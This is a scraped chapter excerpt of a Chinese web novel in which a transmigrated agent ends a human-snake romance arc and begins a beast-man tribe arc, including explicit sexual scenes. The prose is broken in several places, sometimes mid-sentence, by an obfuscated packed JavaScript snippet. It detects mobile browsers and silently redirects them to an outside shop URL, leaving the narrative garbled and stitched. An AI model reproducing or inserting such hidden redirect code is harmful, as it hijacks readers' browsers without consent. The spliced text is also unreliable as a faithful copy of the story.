难抑的喘息从雪白的贝齿间吐出,全身很痛但又不止疼痛,还夹杂着一些说不清道不明的感觉。 想要……好想…… 脑海中无法抑制地回想起粗粝的手掌和蛇尾划过肌肤的触感,身体的每一个细胞都在向主人传达渴望。 青时睁着泪眼将自己的虎口塞进嘴里,狠狠咬下,用疼痛维持自己仅剩的一丝理智。 不这样做,他怕自己会不受控制地跑出去寻找伽的踪迹。 体内海诺斯人蛇基因带来的影响,比他想象的更加难熬,回到联邦主城的这三天,每天晚上他都会感受到这种煎熬。 一次比一次更加难耐,青时不知道自己还能坚持多久。 886说是去问情况,怎么去了这么久也没回音? “呃!”脚趾卷曲,青时在没有任何触碰的情况下,泄了出来。 发泄过后的身体似乎平静了许多,紧绷的肌肉得以稍稍放松。 受不了身体的黏腻,青时掀开被子迈着虚浮的脚步前往浴室。 不知是不是因为海诺斯人蛇的基因,青时能感觉到自己的洁癖症状有所好转,暴戾的情绪也许久不曾出现。 这说明如果他完全转化成海诺斯人蛇,他的基因崩溃症兴许会消失。 青时垂下眼帘,望着虎口上渗血的咬痕神色莫名。 对于纪青时来说被迫以那样的方式成为海诺斯人蛇,是他不能接受的事实。 青时打开淋浴,仰头任由热水冲刷身体。 “轰隆”响雷声中头顶的感应灯忽然熄灭。 青时跪坐到地上,身体中的难耐再次卷土重来。 空旷的浴室, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青时面无表情地“呵”了一声,旋即闭上双眼靠着座椅补觉。 十几分钟后飞车来到了联邦中心院。 李志和打开车门,叫醒闭目养神的青时,“到了,请下车。” 青时下了车跟着他走进这座占地350公顷的庞大建筑。 漫步在充满金属感的空间,会让人有种穿越星际的不实感。 李志和带着青时进入一处实验所,进去之前青时看了眼门上的标注——001。 据说中心院建有九大著名研究所,以数字1~9命名,其中001是最神秘的一个,它的所有研究内容都是绝密。 房间门在身后关上,李志和没有和他一起进来。 青时抬头便看到了矗立在房间里的巨大屏幕,上面事无巨细地显示着他的身体数值以及各种报告信息。 “纪青时,纪中将,没想到再次见面是在这样的境遇下。” 屏幕下的皮革椅子转过来,头发花白的老人面露慈爱的微笑。 青时咬了咬侧牙,唤道:“会长。” 31. 人蛇14 联邦议会会长——钟临,整个联邦权利最大的人,深受联邦人们爱戴。 议会会长一职10年一轮换,他凭借人民的支持蝉联5届,是名副其实的联邦前进引导者。 青时双眼悲痛的望着他,没头没脑的问了句:“为什么?” 钟临知道青时在问什么,他将自己的手抬起,双眼低垂注视着上面的褶皱的皮肤,“青时啊,你还年轻,不知道衰老的滋味。” “身体一天天变得沉珂,皱纹爬满我的全身,这种感觉太可怕了。” “这时突然有人对你说他可以让你重回巅峰,甚至永葆青春,你能拒绝吗?” 青时目光沉沉,“所以你就同意了柏霖的人体实验,将我……” “在你眼里我是什么,一件能随意处置的物品吗?” 钟临:“青时,别任性,这都是为了联邦的未来!” 青时嘲讽道:“钟会长这是以权谋私吧。” “哼,我为联邦呕心沥血这么久,连这点私人权力都不配有吗?”钟临那双黑色的眼眸落到青时身上,“没有我何来今日的联邦!只有我永葆青春才能带领联邦更好地前进!” 青时从那双眼睛中看不到一点儿往日的和善与仁爱,只有被权力腐蚀的贪婪和虚伪。 他闭了闭眼,不再试图和这个把联邦看作自己所有物的人讲话。 看到青时的表现,钟临目光黑沉,语气激动,“你是在看不起我?觉得我被权力蒙蔽了双眼?” “呵,你错了纪中将,我很清醒,我知道自己在做什么!” “在你眼里的联邦是什么样子的,一片祥和?你知道我眼中的联邦是什么样吗?” “一盘散沙!” “议会中各个家族分崩离析,各自为政,他们都在等着我下位,都在准备瓜分整个联邦。” “我能怎么办,我该怎么办!纪中将,你说,除了这个办法我还有其他选择吗?” 青时抓住自己颤抖的左手,低垂着眼,勾了勾唇角,“所以您今天找我来,是想做什么?” “柏霖没告诉您吗,他的实验失败了。” “呵呵,”钟临重新靠回椅背,淡然轻笑,“不,他成功了,我等到了你。” 青时从他胜券在握的笑容里看出了什么,“你知道……” “是的,我知道海诺斯人蛇的转化要进入化龙池,也就是他们口中的——圣地。”钟临双眼望着半空,似是陷入了回忆,“我等了30年,终于让我等到这一天了。” “青时,我养你这么大,你会帮我的,对吗?” 青时看着眼前熟悉又陌生的人,疲惫的叹了口气,“您想我怎么做?” “到时候你会知道的。”钟临看到青时眼中的妥协,挥了挥手,一个身穿黑色军装的男人出现在青时身前,“跟着你树一叔叔出去吧,我累了。” 树一是陪伴纪青时长大的保护者,也是他从小崇敬的对象,青时知道钟临是在以此加强他在他这里的筹码,他知道这样他一定没办法拒绝。 钟临太了解他了,毕竟他是他体内原始基因的提供者。 “走吧,青时。”树一年近半百,脸上永远挂着温和的笑意。 青时走出房门,树一在他之后出来,贴心地关上门。 “青时,许久未见,你长大了。” 青时微微扯动唇角,“您也老了。” “是啊,”树一笑着拍了拍青时的肩膀,“走吧,我送你回去。” 树一的座驾是A22飞车,属于最早的驱动飞车之一,青时小时候坐得最多的就是他开的就是这辆车。 “您怎么还开它,现在它每年的保养费都能买一辆最新款飞车了吧。”坐上车的青时调侃道。 “没办法,人呐,老了就怀旧,稀罕以前的东西。”树一爽朗回应。 青时垂下眼帘,语气低落,“树一叔叔,您有想过追求永生不死吗?” 树一扭头看了一眼青时,叹道:“生老病死人之常情,会长他,只是肩上的担子太重了,他不敢放下,也不能放下。” “……”青时沉默了一会儿,开口问道,“会长他,到底想让我干什么?” 问完青时从树一看他的眼神中察觉到一丝怜悯,心头一跳他听到树一说:“时候到了青时你会知道的。” “叔叔知道你是个坚强的孩子,更是联邦的军人,叔叔为你骄傲。” 知道树一不会告诉自己答案,青时苦涩一笑,扭头看向窗外。 青时又回到了自己的小屋,过上了一门不出二门不迈的生活。 天气越来越冷了,新闻上时不时有南极苏醒的异兽攻击沿海的报道,好在联邦靠着火力将它们压制了回去,至今没有异兽突破防线。 青时身上的症状越来越严重,他能感觉到体内海诺斯人蛇的基因在强烈渴求。 每一天晚上他都在苦苦压抑这种冲动,但今夜一切似乎有所不同。 滑腻中带着粗糙的鳞片穿过脚趾,擦过脚心,缠上脚腕,小腿、大腿,逐渐向上…… 青时的神志已经不太清醒,他半阖着双眼,分不清现实与梦境。 灼热的呼吸喷洒到耳畔,修长的手指顶开牙齿插进去,宽厚的指节占满整个口腔,带着薄茧的指尖重重抚弄敏感的上颚。 青时眉峰紧聚,颤颤巍巍地探出舌尖想将其赶出嘴里,却被钳住舌头夹在两指间玩弄。 粗粝的触感不断通过舌旁的感受器传入脑海,没办法收回自己的舌头,又麻又痒的舌尖让青时急得快哭了,眼角泛起激动的微红。 等到舌尖变得糜烂绯红,那手指才从他嘴里抽出,嘴角因为侵入的东西太大时间太长,有些微微刺痛甚至暂时无法闭合。 太真实了……他真的是在做梦吗…… 青时喘着气,思绪混沌。 某个冰凉的东西接触到滚烫的舌尖,一点点试探,直到贪凉的贝肉自己按捺不住探出头,才缠上去,猛烈索取。 “唔!”舌尖被含进微凉的场地,明明是冰冷的触感却仿佛带着要把他吞食入腹的灼热。 五指插入脑后的发梢,强烈的电流顺着脊骨往下走,纤腰不受控地上扬。 青时摇着头想要躲避,却被后脑的手强硬地控制在原地,被人毫无保留的侵占。 “咳咳……”差点窒息的青时一边喘气一边咳嗽,飘忽的神志忽然清晰起来。 他刚才……好像不是在做梦…… 缓缓抬起的双眸对上那双在黑暗中也很显眼的墨绿竖瞳,青时猛然睁大双眼,“你怎么……” 伽望着自己满面潮红的小伴侣,目光暗沉,粗大的喉结极速滚动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不知是气伽霸道的举动还是气自己的无措,青时微微侧开头拒绝了他的喂食。 却不想伽见状直接将营养剂灌进自己口中,随后抬起青时的下颌吻了上来。 齿关被轻易撬开,青时被迫大口吞咽着,但伽灌得太快,还是有一些营养剂顺着嘴角漏了出来,和唾液混合后变得浅淡的蓝色沿着唇侧滑落到上扬的脖颈,最后隐入衣领,留下一道道引人遐想的水痕。 “咳咳……嗬……”营养剂的进入让青时脱力的身体恢复了一些气力,他抬手挡在伽的胸前,“够了。” 见伽没有继续喂的意图青时稍微松了口气,他这才注意到自己换了套新衣服,之前那件已经无法直视的衣服已经不见了踪影,这屋里就两个人,想也知道是谁帮他换的。 青时望了一眼窗外的蓝天,眼中各色情绪交织,最后他回头对上伽的双眸,在他沉沉的目光中轻启薄唇:“不是说要带我去圣地吗,我跟你走。” 说着他唇畔勾起一抹翘起的弧度,看似开心的痕迹中藏着只有主人知晓的心酸与无奈。 “青,”伽俯身吻上那抹笑意,爱怜的、珍惜的,“别再离开我。” “……” 32. 人蛇15(完) 入夜时伽带着青时出了小楼,前往海边一路畅通,更加印证了青时的猜测。 他的目光透过伽的肩膀向后刺入深重的黑暗,他知道那里肯定有其他人。 来到一处无人海岸线,青时还在疑惑伽要如何带他度过重洋回到南极,就见伽说了句他听不懂的话,接着不远处的海面突然浮现一个黑色的小岛,小岛越来越大、越来越大…… 直到两颗几乎有一人高的灯笼样的黄色竖瞳出现时,青时才看清,这哪是什么小岛。 竟是一只体型庞大的巨鳄,这么大的巨鳄青时只在一处见过,就是希望基地毁灭之时。 果然,那时候他看到的……就是伽! 海诺斯人蛇居然能御使巨鳄,他们是仆从关系吗? 青时疑惑的目光引起了伽的注意,他将怀里的人向上颠了颠,“它的名字按你们的说法叫度厄,是海诺斯一族的伙伴,也可以说是守护者。” 青时了然地点头。 伽顺着度厄伸到岸边的吻部走上它的脊背。 在确认伽站稳后度厄一拧身,掉头前进,按理说以它的体型应该是比较笨重的,但度厄的速度完全不合常理,快得不可思议。 联邦最快的战舰从主城到南极也需要至少两个小时,而度厄仅仅只用了一个小时不到。 度厄没有靠近南极大陆边缘,而是在距离冰川还有一段距离的时候下潜进入海中。 再次接触到南极冰冷的海水,青时却没有感受到上次那样锥心刺骨的寒冷,他甚至发现自己竟然能在海水中呼吸。 青时伸手摸了摸自己外表与之前无二的鼻子,心想:看来体内的海诺斯基因快要完全占据他的身体了。 万米之深的海水下,冰层上有个不规则洞口,庞大的度厄爬进去也显得很渺小。 极致的黑暗中一时间只能听到度厄四肢划水的声音。 不知过了多久,海水已经退去,周围终于亮了起来,开始是一点点白光,接着是大片五彩的光斑。 一个瑰丽的冰下世界呈现在青时眼前,一丛丛颜色各异的冰晶四处散布,照亮整个空间,无数根上下连接的冰柱大到需要几人合抱。 每一个冰柱内几乎都是人身蛇尾的海诺斯,有的一条,有的两条。 他们姿态各异,但全都栩栩如生,或攻击,或慵懒,或缠绵…… 将海诺斯人蛇的强大与优越展示得淋漓尽致。 伽带着青时从度厄背上下来,他摸着度厄的前吻说了句话,青时猜可能类似于感谢? 接着度厄便转身离开此地,不知去往何处。 伽则带着青时进入冰柱范围,越往前冰柱数量越少,但体积越大。 直到来到最前方,路面铺满碎裂的冰块,上方一棵足有十人合抱大小的冰柱从中间折断。 等到他们翻过挡路的冰块,青时才看到冰柱下方那一湾冒着不知是寒气还是热气的水液。 心脏重重的跳了一下,青时低头看向地面。 果然,尽管冰层很厚但他还是注意到了底下细微的波动。 如果他所料不差,这里整个空间都处于一个潭?湖?之上。 这,难道就是钟临口中的圣地化龙池? “我们要进去吗?”青时问伽。 “嗯。”伽轻抚伴侣的眼角,“别怕。” “哈哈哈,终于找到了!我终于找到了!”苍老的嗓音因为激动变得沙哑。 伽转身看向他们来时走的路,他早就发现了跟在身后的虫子,不过他并没有在意。 贪婪的人终将自食恶果。 青时也看到了发声之人,不出所料是钟临,他身后还跟着一群黑衣卫士,是他的私兵、心腹,树一赫然在列。 钟临指挥卫士围住伽和青时,他看着神情冷漠的青时微笑道:“不愧是我的好儿子,青时你做的很好。” 青时扯起一边嘴角,勾勒出嘲讽的弧度,侧过头不想与他多话。 得偿所愿的钟临没有将他不愉的脸色放在眼里,带着树一越过他们走近冰柱下的池水。 青时抬头,伽的神色看不出他此时的心情。 微微叹了口气,青时轻声道了句:“抱歉。” 原本注视着钟临他们的伽,听闻青时的道歉,低下头亲了亲他的眼角,“青,你永远不需要向我道歉。” 对上伽真诚的双眸,青时心头狠狠一颤,神情出现片刻松怔。 “啊啊啊啊啊,树一快救我上去!”钟临忽然发出的惨叫吸引了青时的注意,他朝水池看过去。 只见进入水池中的钟临头发全部脱落,黑色的半圆形鳞片从头顶长出,已经蔓延到了眼角。 他奋力挥舞着手臂朝池边游,口中高喊着站在池边的树一。 但他最信任的树一竟然只是站在那里看着,丝毫没有伸手救他的意图,这让钟临内心升起恐慌,“树一!你在干什么?!还不快救我!” 他又喊其他人,“你们还站在那里看什么戏,快来救我!” 奇怪的是没有一个人听他的话,所有黑衣卫士均面无表情地看着他。 树一望着水中狼狈的钟临,嗤笑出声:“钟临,你可有想过自己会有今天?” 钟临怨毒的目光刺向树一:“你是谁?你不是树一?!” “当年你将我剥皮抽筋,可想过今日?” “你是!”钟临似乎回忆起什么,“你难道是三十年前那条海诺斯人蛇?!你怎么会是树一?!” 树一的脸似乎分成两半,一半悲伤一半痛快。 “会长,你当年下令找的人,是我。” 鳞片已经扩散到钟临的鼻尖,那双和青时一样的宝蓝眼眸化作了两个深洞,他的声音变得暗哑无力,“原来你就是那条海诺斯选定的配偶!” “你背叛我。” 树一半跪下去,悲伤的右眼滑下泪痕,嘴里却吐出诛心之语:“你活该!你这样道貌岸然,不择手段的自私之人不配活着。” 远处的青时被这反转的一幕惊呆了,他扭头看向伽,见他神色间毫无意外,问道:“你早就,知道?” “是。” 听到肯定的回答,青时全身软了下来,他望着池水中逐渐变成怪物的钟临,一时不知是该哭还是该笑。 这就是你处心积虑、费尽心机求来的结果吗?父亲…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299452|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗬嗬……”鳞片开始加速蔓延,钟临说不出话来,只能发出无意义的气声。 没过多久,池水中的钟临消失,池中他所处的位置出现了一条似蛇似蜥的生物,是青时无比眼熟的孽龙蜥。 原来孽龙蜥是这样诞生的吗? 觊觎海诺斯人蛇的生物在化龙池中转化成孽龙蜥,残余的执念驱使他们终生追逐海诺斯人蛇。 此时池中那条钟临所化的孽龙蜥慢悠悠地爬到岸上,朝着树一所在的位置游过去,迎接它的是毫不留情的一枪爆头。 “砰砰”两声枪响回荡在空旷的空间,久久未散。 青时的身体随着枪声一抖,他眼睁睁看着树一缓缓侧躺到地上,露出太阳穴上拳头大的枪口,鲜血浸染了他身下的冰面。 树一倒下后围绕在青时他们周围的一圈黑衣卫士全都两眼一翻直接倒地。 至此这个所谓的圣地,竟只剩下青时与伽两个喘气的生物。 如同一出荒诞的闹剧,草草落幕。 伽开始前进,很快带着青时来到树一和钟临所化的孽龙蜥附近,青时请求伽将他放下。 他来到树一和钟临的尸体旁边,双膝缓缓跪下,以头触地。 一跪生恩,二跪养育。 磕了两下,青时便重新站起,他恨钟临,但也佩服他。 之后的联盟只怕要乱起来。 青时抬眸,目光似乎穿越冰层和大洋,落到那个高楼林立的联邦主城上。 “青,走吧。”伽的手伸到青时面前。 青时的目光转回到伽身上,他将自己的手放入他手中。 青时最终还是走上了既定的道路。 他和伽的命运早在第一次见面便纠缠在一起了。 “噗通” 沉寂的冰中世界悄无声息地多了一根冰柱,它有十人合抱那么粗,里面是一对恩爱的眷侣。 身形高大的男人将纤瘦的伴侣牢牢抱在怀里,他们定格在亲吻的瞬间。 “咔嚓”在研究室泡了将近半个月的孟希手里的试管突然落地,他捂住自己的心脏,那里传出阵阵痛感。 似乎有什么他不知道的事情发生了。 没等他理清自己的思绪,实验室的广播响了起来:“各位研究员请注意,星历4035年11月5日凌晨4时35分检测到超强寒流自南极席卷而来,预计1小时后到达联邦主城,请各位提前做好应对准备。” 【桀桀,孟希,风暴要来了,你准备好求我了吗?】 * “哎。”这是青时回到系统空间后叹的第108口气。 看着轮回点后大大的“0”蛋,他反问自己:“怎么会这样?” “八八,你知道上个任务我干了什么吗?” 蹲在一旁的886猫眼中闪过几分心虚,“哈哈,又被冻结了,我也不知道啊。” 青时望向886,将他看得身体一僵以为自己漏了什么破绽,结果青时只是伸手摸了摸他毛绒绒的脑袋。 “算了,总不会一直打白工的,继续吧。” 886喉咙中发出舒服的呼噜声,“对对对,青时你最棒了!” 33. 白鹿1 陈可是地球公元2021年华国一个落魄的大学生,毕业后没找到工作回镇上开了家陶艺店谋生,某天出门他出了车祸,醒来后发现自己来到了一个神奇的兽人大陆,这里的性别不是以男女为分,而是雄雌。 雄性兽人有人形和兽形之分,他们的人形不会带有兽形特征;而雌性没有兽形,他们的人形会有部分兽形特征。 更重要的是这里雌性和雄性兽人都是男人,要知道雌性可是能生孩子的! 陈可摸了摸自己头顶毛绒绒的狐耳,他现在就是这样一个兽人雌性,更恐怖的是他还自带一个伴侣,刚醒来那几天可把他吓坏了。 好在兽人们都很淳朴,对他醒来后的改变从未提出异议,而且…… 陈可眼前闪过一张如雪山之莲般清冷姝丽的脸,他不由自主地脸颊泛红。 他和伴侣鹿青未举行结合之礼,暂时还在分房睡,而鹿青虽然看着性格高冷、不假辞色,但实际耐心温柔,十分善解人意,对他也很尊重,一点也不像一个蛮荒兽人。 这份好让他一个半路鸠占鹊巢的人实在有些心里愧疚。 “狐可,你一个人在这儿发什么呆呢?要回去了哦!”肩膀突然被人轻轻拍了两下。 陈可收回散漫的思绪,回头看向身后有着一对白色兔耳的人,“兔叽,我知道了。” 他将地上自己用木棍翘出来的萝卜苗放进身旁自制的藤条背篓里,站起身。 兔叽看见他的动作,抽了抽鼻子,问:“狐可,现在罗罗草还没有结果呢,你挖它干啥呀?” 陈可背起背篓,回道:“我想把它带回去种起来。” “种起来?”兔叽歪歪头,不理解他的意思。 “就是把它们埋到住的洞穴附近,这样吃的时候可以直接挖,不用跑很远。”陈可努力找词汇解释。 “哦~狐可你不愧是狐兽人,好聪明!”兔叽夸赞道。 陈可尴尬地笑笑,“我们快回去吧。” “嗯嗯。” 宽阔的原始密林里脚下的路还算平坦干净,是人长期行走开辟出来的道路,这片林子是部落雌性兽人的采集地。 走出树林穿过一片草地,便会出现几座相连的石山,这,就是狐可生存的部落——合部落的所在地。 兔叽的伴侣虎杆是部落的主力战士,他们住的洞穴是在部落内部,于是陈可和兔叽在山脚下分别。 一人上山,一人绕山。 陈可现在住的是鹿青的山洞,在山脚背面,是远离部落聚集地的一处地方,听说是因为鹿青不喜人多,所以才选的这里。 呼吸着山林清新的空气,陈可步履放松。 他是个随遇而安的人,既然来都来了,那就好好生活! 别说,这满目青山绿水可真令人心旷神怡。 走回居住地,陈可发现自家门前蹲着个陌生雄性,正在观察他安置在洞穴外的陶锅。 说到这口锅陈可是一把辛酸泪,他刚醒来那几天,发现自己来到原始的兽人大陆,这里的人吃的最多的是烤肉,伴侣鹿青是草食兽人,不喜欢吃肉,多吃些野果啥的,洞里连个石锅都没有。 他当时真是两眼一黑,吃了两天水果和干巴烤肉之后他终于还是没忍住,在什么都缺的原始时代硬生生做出了这口陶锅,看到锅的那一刻他热泪盈眶,虽然看着很粗糙,但它不漏水还能煮,这时候还挑什么肥捡什么瘦,有的用就不错了。 因为住的山洞平时没什么人会来,陈可就放心的将锅放在门口,没想到今天居然来了个不速之客。 “你是谁啊,你想干什么?”不会是想偷锅吧?! 陈可站在远处警惕看着那个陌生兽人,他不敢靠太近,这段时间他对这个雄多雌少的兽人世界有了更深的认识,像他的伴侣鹿青那样温和有礼的兽人可以说是雄性中的一朵奇葩。 大多数雄性兽人都是好斗、征服欲、占有欲构成的生物,基本只会用拳头说话,用下.面思考。 蹲在陶锅前的兽人听见陈可的话站起来,在看到那张俊朗英气的脸时陈可眼中略过一丝惊艳。 这人是他在合部落见到的第一个能与他的伴侣鹿青相媲美的雄性,也不能这么说,毕竟二者美的方向不一样。 鹿青是天山雪莲般圣洁高不可攀的美,而此人有种放浪不羁的花花公子的味道。 古铜色的皮肤,上挑的剑眉,提拔的鹰钩鼻,天生带笑的微笑唇,十分异域的长相搭配的却是一双眼尾略微下垂的狗狗眼,为他在放浪的基础上增添了几分无辜。 蓬松的白色长毛再加上饱满有型却不显臃肿的肌肉,又野又纯,陈可微微吸了口凉气。 要是在地球遇上这人他肯定会上去要联系方式,是他的菜。 犬白注意到远处那个狐兽人雌性眼中的警惕,眯起双眼,露出和善的微笑,“不好意思,我只是看这个锅挺有意思的。” “我叫犬白,是新加入合部落的流浪兽人,住在这附近的洞穴中,今天是来认识一下邻居的。” 陈可见他彬彬有礼,不像一般的雄性那样蛮横无礼,稍稍松了口气,“你好,我叫狐可。” 犬白挑了挑眉,“狐可……长得真可爱,你一个人住在这儿吗,你有伴侣了吗,没有的话你看我怎么样?” 陈可吓得狐耳朵上的毛都直了,他又一次感受到兽人的直率,红着脸回道:“不是一个人,我有……” “他有伴侣。”如同碎冰击玉的声音接过陈可的话音。 二人顺着声音瞧过去,只见一人从树林之中缓缓走出。 他身姿高挑优雅,眼神清澈美丽,肤色比娇养的雌性还白皙。 清俊的脸颊因为表情淡然而显得矜贵,银白的长发在接触到阳光后,反射出炫目的色彩,如同自带华光的神邸遗落人间。 陈可看见来人,高兴地喊道:“鹿青,你回来了!” “嗯。”青时朝陈可微微点头示意,随后将他挡在身后,看向犬白,“你是谁,想干什么?” 对上那双如同寒玉铸就的眸子,犬白舌头抵了抵发痒的牙根,笑道:“别紧张,我只是来交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299453|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个朋友的。我叫犬白,是新加入部落的,现在就住在旁边。” “我还带了新鲜的鹿肉,一起吃吧。”说着他指了指脚边死去的幼鹿。 青时带着陈可走近洞口,来到犬白所处位置的不远处。 青时这个世界的身高有188,看着挺高,但是在这个雄性兽人平均两米的世界,他的身高只能说垫底,甚至和一些强壮的雌性差不多。 眼前这个叫犬白的雄性兽人明显就是拉高水平线的那批人,青时要稍微抬头看他。 余光瞥了眼地上脖颈折断的幼鹿,青时不动声色地做了个自我介绍:“鹿青。” 嘶。陈可突然想起自己这位未来伴侣好像是鹿兽人,这位犬白直接带一只死鹿上门会被当成挑衅吧! 不会打起来吧?! 他赶紧左右观察两人神色,发现他们二人之间没有太多剑拔弩张的气氛,顿时松了口气。 犬白露出恍然的神色,难怪他没从此人身上嗅到多少血腥之气,反而多是一种酸甜的浆果气息,要不是感受到他身上凌冽的气势,他第一眼差点将人认成了雌性。 抽了抽鼻子,犬白垂下眉毛用饱含歉意的眼神望向青时,“不好意思,是我考虑不周。” 青时没有回他的话,转头询问陈可的意见,“要留吗?” “呃……”见主动权落到自己身上,陈可看了看对面明明高大威猛感官上却温和良善的犬白,秉持着华国人热情好客的理念他让人留了下来,“来都来了,就一起吃顿晚饭呗。” 此时的陈可还不知道自己即将引狼入室,后来他每每想起此事心中就满是懊恼,什么温和良善,这人就是个黑芝麻馅汤圆! “好。”青时举起手里提着的两只不再动弹的咕咕兽,“这两只咕咕兽今天要吃吗?” 陈可看着这个羽毛艳丽长得很像地球的鸡的咕咕兽,思考了一下说:“吃吧,正好今天做个新菜——叫花鸡!” “嗯,要怎么做?”青时问。 “要先把它的羽毛拔干净,内脏什么的也要处理掉,然后用叶子包起来埋进土里。”陈可简单介绍了一下叫花鸡的做法。 “嗯。”青时微微颌首示意自己知晓,“我去把它们处理一下。” 说完他提着咕咕兽朝洞穴不远处的小溪边走去。 留在原地的陈可和犬白面面相觑了一会儿。 随后还是犬白先打破沉寂,“有什么事需要我帮忙吗?” 陈可本想说没什么要帮忙的,但是对上那双充满期待的狗狗眼,他迟疑了一下,说:“那麻烦你帮我摘几片大的树叶,然后洗干净。” “好!” 瞧着犬白兴奋冲进树林的背影,陈可露出一抹善意的微笑,这人还挺有意思。 他将身上斜挎的背篓放下,把根部被泥土包裹完好的萝卜苗拿出来,暂时先存放进自己的种菜石头盆里,打算养几天再种进自己开辟的菜园。 接着他便开始生火准备做今天的晚餐。 至于地上的死鹿则被三人不约而同的无视。 34. 白鹿2 小溪潺潺,雪季刚过去几个月,溪水还有些凉,不过对青时这种雄性兽人来说这温度已经是舒适水温了。 淡薄的血色顺着溪流而下,青时麻利地用骨刀将两只咕咕兽开膛破肚。 清理干净血迹和内脏,他开始拔毛,这是项繁琐重复的工作,因此他手上动作不停,思绪却有些飘散。 这个世界是茹毛饮血、危机四伏的原始时代,人类不是纯粹的人类,而是兽人。 鹿青就是一位能变身成白鹿兽形的雄性兽人,他年幼时被流浪兽人狐山收养跟随他一起加入合部落定居,有独立狩猎能力后鹿青自己开凿洞穴搬离了狐山。 不过尽管不住在一起了,二人关系倒未生疏,来往也还算密切。 前不久狐山外出狩猎被野兽咬伤不治身亡,临终前他将自己的独子狐可交给鹿青,请求他和狐可结为伴侣,护他一世无忧,鹿青答应了,并将失去狐山庇护的孤寡雌兽狐可带回了自己的山洞。 狐可因为父亲去世伤心了很久,甚至在某天夜里发起了高烧。 高烧几天不退,在青时以为狐可要不行之时,他忽然清醒过来。 在看到那双同样清澈但却多了几分书卷气的眼睛时,青时就知道醒来的狐可只怕已经不是以前的狐可了。 之后他烧陶、开荒等行动更加印证了这一点。 穿越,这个青时曾在银河公司员工守则上看到的词语浮现在他的脑海。 上面说某些世界会有一些世界意识安排的异世天命之人,想来狐可就是这种情况。 针对这种情况守则也交代得很明白,维护员应当积极维护剧情,不多加干涉天命之人的行动。 因此青时决定当做自己什么都没发现。 至于青时他此次的任务,着实让人有些摸不着头脑。 886给他的信息里交代这个世界的男主名为狼凛,是中部兽王之子,他的任务是试图抢夺男主伴侣未遂,然后被愤怒的男主咬死。 先不说这个抢男主老婆的奇葩任务,他现在所在的合部落距离中部何止万里之遥,他上哪去抢男主老婆。 但进入这个世界之后886就好像神隐了一般,无论青时怎么呼唤都没有回应,不知道是出了什么问题。 而维护员进入任务世界后,在任务没有完成或者确认失败之前是不能退出的。 报不了错又受限于身份,青时没有明确理由不能离开部落去往中部,于是他现在只能走一步看一步。 身侧传来窸窣的草叶翻动声,青时猛然回神,警惕的目光斜射过去,然后就对上了一双含笑的狗狗眼。 是洞穴前那个说来拜访的犬兽人雄性,他从树林里走出来,手里拿着一些圆阔树的树叶。 确认了来人的身份,青时又收回视线继续手中的动作。 一旁被无视的犬白,微微挑了挑眉,眼中闪过一丝兴味。 他走到溪边蹲下,一边清洗手里的树叶一边用眼角余光关注不远处的青时。 不知怎的,明明那个叫狐可的雌性更值得他关注,但他的注意却不由自主的飘到这头雄鹿身上。 伴侣……这么瘦弱的身板能保护好自己的雌性吗? 听说在某些部落太过瘦弱没有狩猎能力的雄性会被当做不能生育的特殊雌性,他…… 犬白想东想西的时候,青时已经处理好两只咕咕兽,他提着两只咕咕兽起身朝洞穴走去。 见状犬白连忙将手里剩下的圆阔叶在水里涮了涮,接着便拿着树叶跟上去,快步走到青时身侧。 青时注意到旁边多出的人,只侧头瞟了他一眼,便由他去了。 “你们回来啦!”山洞前陈可已经烧起了火,一股浓烈的肉香从他身前的陶锅里飘出。 犬白使劲抽了几下鼻子,双眼发亮地将青时甩在身后冲向陶锅,“里面是炖肉吗,怎么这么香?” “哈哈哈,”陈可看到他急切的模样笑出声,“是的嘞,不是我吹我炖肉的手艺可是部落一绝。” 这绝不是他夸大,他之前已经领教过部落炖肉的味道,不焯水不去腥除了盐没有其他调料的炖肉……简直是一场噩梦。 “看来今天我是来对了!” 犬白将手里的圆阔叶交给狐可,“你看看这个叶子行不行?” 陈可接过这圆溜溜形如莲叶的几片叶子,夸赞道:“行的,行的,真不错!” 这时青时也走到近前,“咕咕兽也处理好了,接下来是把它们包起来吗?” “嗯嗯!”陈可将两片叶子放到地上,示意青时把咕咕兽放上去,“泥巴和坑我准备好了,现在只要把它们包好放进去就行。” “好。” 在犬白的注视下,青时和陈可将两只咕咕兽用圆阔叶包住捆好,糊上泥巴放进陈可准备好的坑洞里填上土,然后在上面烧起火。 火焰熊熊燃烧的噼里啪啦声中陈可用手臂擦了擦额头冒出的热汗,“这样就行了,要等上一会儿。” 